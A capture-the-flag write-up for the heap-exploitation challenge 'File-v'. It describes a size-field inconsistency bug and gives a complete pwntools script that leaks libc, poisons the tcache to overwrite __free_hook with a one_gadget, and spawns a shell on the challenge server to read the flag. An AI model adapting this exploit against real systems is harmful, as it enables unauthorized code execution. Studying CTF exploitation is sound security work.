File-v
Authors: Peace-Maker, pql
Tags: pwn
Points: 957 (12 solves)
Description:
Thanks for using J-DRIVE!!!!
The challenge binary implements a virtual filesystem where you could create and manage “files” in memory through a console menu smelling like an heap challenge. The process forked right away and let the child and parent process communicate through local sockets. The parent process provided the user interface which lets the user explore the virtual filesystem and send “system calls” through to the child process, which kept the actual list of virtual files.
Overview
After reversing both the parent process, we come to the following vfile struct, which is created and filled with user provided data in the client itself. So the parent process always keeps one copy of a “selected” vfile in memory to change the metadata and file content of before committing it to the child process when asked to.
struct vfile_format
{
unsigned int total_size; // filename_size + filesize + 25
unsigned int color_idx;
unsigned int created_time;
unsigned int modified_time;
unsigned int filename_size;
unsigned int filesize;
char filename[];
};
The client process opens a flag.v
and README.md.v
file on start and links it into a global
doubly-linked list where the parent process can append and delete files from. The struct looks
something like this, but we only needed the parent process for our exploit.
struct vfile
{
struct vfile_format *data;
struct vfile *prev;
struct vfile *next;
};
You can select and print that flag.v
file through the client menu, but it only tells you to
get a shell to read the real flag
file.
The Bug
When editing a virtual file’s contents, the total_size
field isn’t updated [1] but only the
filesize
field is [4]. Since the two fields were used in different contexts in the logic,
the inconsistency first allowed us to leak a libc address.
__printf_chk(1LL, "Enter content: ");
new_content = read_line(filesize);
total_size = selected_vfile->total_size; // [1]
new_content2 = new_content;
new_filestruct = (vfile_format *)malloc(selected_vfile->total_size - selected_vfile->filesize + filesize); // [2]
memcpy(new_filestruct, selected_vfile, total_size); // [3]
new_filestruct->modified_time = time(0LL);
filename_size = new_filestruct->filename_size;
new_filestruct->filesize = filesize; // [4]
memcpy(&new_filestruct->filename[filename_size + 1], new_content2, filesize);
free(selected_vfile);
free(new_content2);
The Exploit
When changing the content of an existing file like flag.v
to some longer value and saving it
to the child process, the total_size
field is used to determine the size of the struct and
thus truncates it on the child process. After loading the same file again, the smaller total_size
is used to malloc
a buffer for it. Printing the contents of a file uses the larger filesize
field
and leaks the heap memory after the vfile_format
struct containing libc addresses.
To turn this into an arbitrary write primitive, we created a file with longer content and correct
large total_size
set. Then edit the contents again to a smaller value. We malloc
a smaller
chunk in [2], but still memcpy
the whole old struct over the smaller buffer. [3]
This allowed us to overflow the heap buffer and into another free tcache chunk we placed there
through some heap fengshui. The target chunk had to be smaller than 0x100 in size, since we’ll
use the filename as a trigger which had that size limit.
To actually fix up the total_size
field after changing the contents we resorted to changing
the filename, since that menu option recalculated and updated the total_size
to match the
set filesize
:
total_size = file_data_struct->filesize + new_filename_len + 25;
new_vfile = (vfile_format *)calloc(total_size, 1uLL);
new_vfile->total_size = total_size;
Since we’re dealing with libc 2.27, which lacks tcache sanity checks, the plan was to plant
__free_hook
into the fd
field of a free tcache chunk to let malloc
return that address
and overwrite it with a magic gadget to get a shell. A lot of the logic used calloc
to
allocate memory though, which doesn’t use the tcache. So many steps of the exploit dance
around this limitation by using the few controllable malloc
calls repeatedly.
#!/usr/bin/env python3
from pwn import *
# context.terminal = ["terminator", "-e"]
BINARY_NAME = "./file-v-new"
LIBC_NAME = "./libc.so"
REMOTE = ("3.36.184.9", 5555)
context.binary = BINARY_NAME
binary = context.binary
libc = ELF(LIBC_NAME)
EXEC_STR = [binary.path]
PIE_ENABLED = binary.pie
BREAKPOINTS = [int(x, 16) for x in args.BREAK.split(',')] if args.BREAK else []
gdbscript_break = '\n'.join([f"brva {hex(x)}" for x in BREAKPOINTS])
gdbscript = \
"""
# GDBSCRIPT here
set follow-fork-mode parent
continue
"""
def handle():
env = {"LD_PRELOAD": libc.path}
if args.REMOTE:
return remote(*REMOTE)
elif args.LOCAL:
if args.GDB:
p = gdb.debug(EXEC_STR, env=env, gdbscript=gdbscript_break + gdbscript)
else:
p = process(EXEC_STR, env=env)
else:
error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]")
# if args.STRACE:
# subprocess.Popen([*context.terminal, f"strace -p {p.pid}; cat"])
# input("Waiting for enter...")
return p
def recvmenu(l):
l.recvuntil(b"> ")
def do_create_file(l, filename, filename_len=None):
recvmenu(l)
if filename_len == None:
filename_len = len(filename)
l.sendline(b'c')
l.sendlineafter(b"Enter the length of filename:", str(filename_len).encode())
l.sendlineafter(b"Enter filename: ", filename)
def do_select_file(l, filename):
recvmenu(l)
l.sendline(b'b')
l.sendlineafter(b"Enter filename: ", filename)
response = l.recvline()
if response == b'Failed to find the file\n':
return None
l.recvuntil(b"Filename \t\t")
filename = l.recvuntil(b"\nSize \t\t", drop=True)
size = l.recvuntil(b"\nCreated Time\t\t", drop=True)
created_time = l.recvuntil(b"\nModified Time\t\t", drop=True)
modified_time = l.recvuntil(b"\n-------------------------------------------------------\n", drop=True)
return {
"filename": filename,
"size": size,
"created_time": created_time,
"modified_time": modified_time
}
def select_do_change_name(l, filename, filename_size=None):
if filename_size == None:
filename_size = len(filename)
recvmenu(l)
l.sendline(b"1")
l.sendlineafter(b"Enter the length of filename: ", str(filename_size).encode())
l.sendafter(b"Enter filename: ", filename)
def select_do_change_content(l, content, content_size=None):
if content_size == None:
content_size = len(content)
recvmenu(l)
l.sendline(b"4")
l.sendlineafter(b"Enter the size of content: ", str(content_size).encode())
l.sendafter(b"Enter content: ", content)
def select_do_get_content(l):
recvmenu(l)
l.sendline(b"3")
results = bytearray(0)
while True:
l.recvuntil(b' | ')
bs = l.recvuntil(b'|', drop=True).decode().split(' ')[:-1]
if len(bs) == 0:
break
bs = bytearray(map(lambda x: bytes.fromhex(x)[0], bs))
results += bs
l.recvuntil(b'\n')
return results
def select_do_save_changes(l):
recvmenu(l)
l.sendline(b'5')
def select_do_back(l, save=False):
recvmenu(l)
l.sendline(b'b')
n = l.recvn(5)
# print('=====', n)
if n == b"Won't":
if save:
l.sendline(b'Y')
else:
l.sendline(b'N')
def select_do_delete(l):
recvmenu(l)
l.sendline(b'd')
def main():
l = handle()
l.recvuntil(b"-------------------------- MENU ---------------------------")
file = do_select_file(l, b"flag")
print(file)
select_do_change_content(l, b"A"*0x100)
select_do_save_changes(l)
select_do_back(l)
do_select_file(l, b"flag")
oobr = select_do_get_content(l)
# print(hexdump(oobr))
libc_leak = u64(oobr[0xab:0xab+8])
log.info('libc leak: %#x', libc_leak)
libc_base = libc_leak - 0x3ec680 # libc.sym._IO_2_1_stderr_
log.info("libc base: %#x", libc_base)
libc.address = libc_base
select_do_back(l)
do_create_file(l, b'H'*0xc0)
do_select_file(l, b'H'*0xc0)
select_do_change_content(l, cyclic(0xc0))
select_do_change_name(l, b'hi')
select_do_save_changes(l)
select_do_change_content(l, b'A'*0x130)
select_do_back(l)
log.info('heap groomed')
do_create_file(l, b'meh')
do_select_file(l, b'meh')
payload = fit({
0xd0-39: p64(0x21) + b'/etc/localtime\x00',
0xf0-39: p64(0xf1) + p64(0),
0x1e0-39: p64(0x1b1) + p64(0),
0x390-39: p64(0xf1) + p64(libc.sym.__free_hook),
}, length=0x400)
select_do_change_content(l, payload)
select_do_change_name(l, b'ho')
select_do_change_content(l, b'B'*(0xd0-25-2-0x10))
select_do_delete(l)
log.info('planted free_hook')
do_select_file(l, b'README.md')
select_do_change_name(l, b'W'*0xd0)
select_do_save_changes(l)
# select_do_back(l)
# select_do_delete(l)
one_gadget = libc_base + 0x10a41c # 0x4f3d5 0x4f432
select_do_change_name(l, p64(one_gadget).ljust(0xe0, b'\x00'))
log.success('enjoy your shell')
# select_do_save_changes(l)
l.sendline(b'id;cat f*;cat /home/ctf/f*')
l.interactive()
if __name__ == "__main__":
main()